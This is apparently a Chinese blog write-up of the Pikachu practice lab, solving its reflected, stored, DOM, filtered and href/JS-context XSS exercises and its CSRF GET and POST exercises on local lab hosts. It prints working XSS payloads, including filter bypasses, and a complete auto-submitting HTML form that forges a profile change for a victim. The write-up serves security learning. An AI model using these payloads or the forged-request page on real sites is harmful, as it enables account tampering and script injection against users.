WEB攻击与防御技术 pikachu——XSS攻击加CSRF
一、反射性xss(get)
登录pikachu选择xss模块,第一题,写了一下,发现输入长度不够,很简单,在前端改一下长度就可以使用了,这题就不做过多解释

或者直接在URL中进行写入,也是肥肠滴方便

就很简单的弹窗了,下一道

二、反射性XSS(post)
第二道xss,要输账号密码,我们先用暴力破解的密码试一下

好的进去了,那我们就不用多管了。
继续试一下看看能不能正常弹窗

又弹窗????没设置过滤那我们就笑纳了呗,下一个
三、存储型xss
是一个无情的留言板,我们来正常弹窗试一下


????结果又正常弹窗了,看来还是没设置什么过滤,那我们继续下一道呗
四、DOM型xss

来嘛

终于不可以了,我们找一下问题所在

发现是因为它一点击就会触发domxss(),找到了domxss函数的内核是
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
闭合一下发现还是很容易就弹窗了,pyload是'><img src="#" onmouseover="alert('xss')">
至于下一个xss-x的问题,和这个题是肥肠相似的,所以就不再单独解释,直接给出弹窗叭

五、xss之盲打
让我们小试一下
发现没有弹窗,但问题很大,看了一下提示,登陆了一下后台

发现已经成功弹窗~
六、xss之过滤
我正常来弹个窗试一下

(别说这些'>'的话,不要怕,就是干!)?????也就是说他把<>给过滤掉了??
测试了后其实并不是,有很多没有过滤的东西,测试了很久发现其实只需要更改大小写就可以进行绕过

payload:<SCRIPT>alert(1)</ScriPT>
七、xss之htmlspecialchars

需要查看一下源码了
htmlspecialchars这个函数将网页上面的爬取直接写到href里面,可以看到 “ " ”,“ > ”和“ < ”都经过了编码,剩下的字符没有,单引号依然可以使用

既然已经记录想必就可以构造闭合点击弹窗了
' onclick=alert(1) '

成功
八、xss之href输出
直接<script>alert(1)</script>
发现

不是很对,既然写在herf里了的话,就直接构造alert
payload:javascript:alert(1)

OK.下一个
九、xss之js输出
上<script>alert(1)</script>,发现无任何反应

看源码发现到了问题所在,多加一个闭合就可了
payload:'</script><script>alert('xss')</script>

弹窗成功
CSRF
一、csrf(get)
先根据提示登录


进入修改个人信息
利用审查元素,查看submit类型

发现是get传参,提交一次试试

找到了传参的参数以及路径,利用netword构造payload
http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=123456789&add=PPSUC&email=zerben%40ppsuc.edu.cn&submit=submit
用户点击后就可以完成修改

成功
二、csrf(post)
同样,登录lili的账号,点击修改

查看审查元素发现是post传参

这里的攻击方式跟XSS中POST类型是一样的,攻击者可以搭建一个站点,在站点上做一个表单,诱导lucy点击这个链接,当用户点击时,就会自动向存在CSRF的服务器提交POST请求修改个人信息。
编写一个post.html页面,本文把此页面放到 Kali 的/var/www/html/pikachu/doge_csrf下,然后启动 apache 服务
之后只需要把构造的URL发送给受害者,让其点击就可以完成目标操作,成功修改信息。
url:
http://192.168.171.129/pikachu/doge_csrf/post.html
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.171.133/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="12345678922" />
<input id="add" type="text" name="add" value="hacker" />
<input id="email" type="text" name="email" value="lucy@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
三、csrf(token)
目前没有好的方法可以绕过
WEB攻击与防御技术 pikachu——XSS攻击加CSRF的更多相关文章
- 如何发起、防御和测试XSS攻击,我们用DVWA来学习(上)
XSS 全称Cross Site Scripting 即‘跨站脚本攻击’. 从其中文释义我们能直观的知道,这是一种对网站的攻击方式. 其原理在于,使用一切可能手段,将可执行脚本(scripting)植 ...
- Web安全攻防(一)XSS注入和CSRF
跨站脚本攻击(XSS) XSS(Cross Site Scripting),为不和层叠样式表CSS混淆,故将跨站脚本攻击缩写为XSS. 攻击原理: 恶意攻击者往Web页面里插入恶意Script代码,当 ...
- 常见【十种】WEB攻击及防御技术总结
最近参加了一个WEB安全培训,感觉WEB攻击跟防御都是挺有意思的.以下总结比较简短,仅供观赏哈. 一.XSS攻击 [介绍] xss攻击是跨站脚本攻击,例如在表单中提交含有可执行的javascript的 ...
- web攻击之零:WEB攻击及防御技术汇总
一.XSS攻击 [介绍] xss攻击是跨站脚本攻击,例如在表单中提交含有可执行的javascript的内容文本,如果服务器端没有过滤或转义这些脚本,而这些脚本由通过内容的形式发布到了页面上,这个时候如 ...
- 关于Web安全的那些事(XSS攻击)
概述 XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发 ...
- web 安全问题(二):XSS攻击
上文说完了CSRF攻击,本文继续研究它的兄弟XSS攻击. 什么是XSS攻击 XSS攻击的原理 XSS攻击的方法 XSS攻击防御的手段 什么是XSS攻击 XSS攻击全名(Cross-Site-Scrip ...
- WEB安全实战(五)XSS 攻击的第二种解决方式(推荐)
序 说到 XSS 攻击,前边已经有两篇文章在讲这个事了,这次又拿出来说,主要是针对近期工作中的一些新的问题.那么之前是怎么解决问题的呢?为什么又要换解决方式?以下就具体的跟大家分享一下. 旧方案 公司 ...
- 如何发起、防御和测试XSS攻击,我们用DVWA来学习(下)
上一篇我们了解了XSS攻击的原理,并且利用DVWA尝试了简单的XSS攻击,这一篇我们来实现更复杂的攻击,然后探讨防御机制和测试理念. 前面我们通过脚本注入让网页弹出了用户cookie信息,可以光弹窗是 ...
- 程序员常用的3大Web安全漏洞防御解决方案:XSS、CSRF及SQL注入(图文详解)
https://blog.csdn.net/ChenRui_yz/article/details/86489067 随着互联网的普及,网络安全变得越来越重要,程序员需要掌握最基本的web安全防范,下面 ...
- XSS攻击常识及常见的XSS攻击脚本汇总
一.什么是XSS? XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了. 这里我们主要注 ...
随机推荐
- java工厂方法模式学习
简单工厂模式又称为静态工厂模式,实质是由一个工厂类根据传入的参数,动态决定应该创建哪一个产品类(这些产品类继承自一个父类或接口)的实例.简单工厂模式的创建目标,所有创建的对象都是充当这个角色的某个具体 ...
- 无锁并发,CAS等
Unsafe
- Spring不同版本的AOP
1.Spring4.SpringBoot1 1.1 代码实现 public interface Calculator { int div(int a,int b); } @Component publ ...
- IDEA 项目运行内存设置
IDEA 运行内存设置 1.堆内存设置 2.help ---- edit custom VM options 参考摘录:https://blog.csdn.net/wentaolv/article/d ...
- VS2019使用Qt4.8.7
取消系统变量中的Qt_INCLUDEPATH_. C:\Users\octob\AppData\Local\QtMsBuild中添加qt4.natvis.xml,qt4.natvis for visu ...
- eFuse技术
1. 基本概况及介绍 不同于大多数FPGA使用的SRAM阵列,eFuse一次只有一根熔丝能够被编程,这是该方法的配置能力存在限制范围的原因.但当与日益成熟的内置自测试(BIST)引擎组合使用时,这 ...
- postgressql知识点、源码
1.新增语法,tab键自动联想的代码位置. tab-complete.c中的函数pgsql_completion
- raise EOFError("Compressed file ended before the " EOFError: Compressed file ended before the end-of-stream marker was reached
参考: EOFError: Compressed file ended before the end-of-stream marker was reached解决办法(在Windows下查看已下载的M ...
- py09函数简介
函数的返回值 # def func():# return 'asfjsfda'# res = func()# print(res) # 函数内要想返回给调用者值 必须用关键字return"& ...
- 对qa 工作的理解
主要职责 进行检查,包括组织级和项目级工作内容,其中组织级和项目级里包括[过程]和[资产]两项内容. 跟进不符合项,和项目经理等干系人沟通,直到不符合项问题得到解决 识别过程改进的内容,反馈给EPG. ...

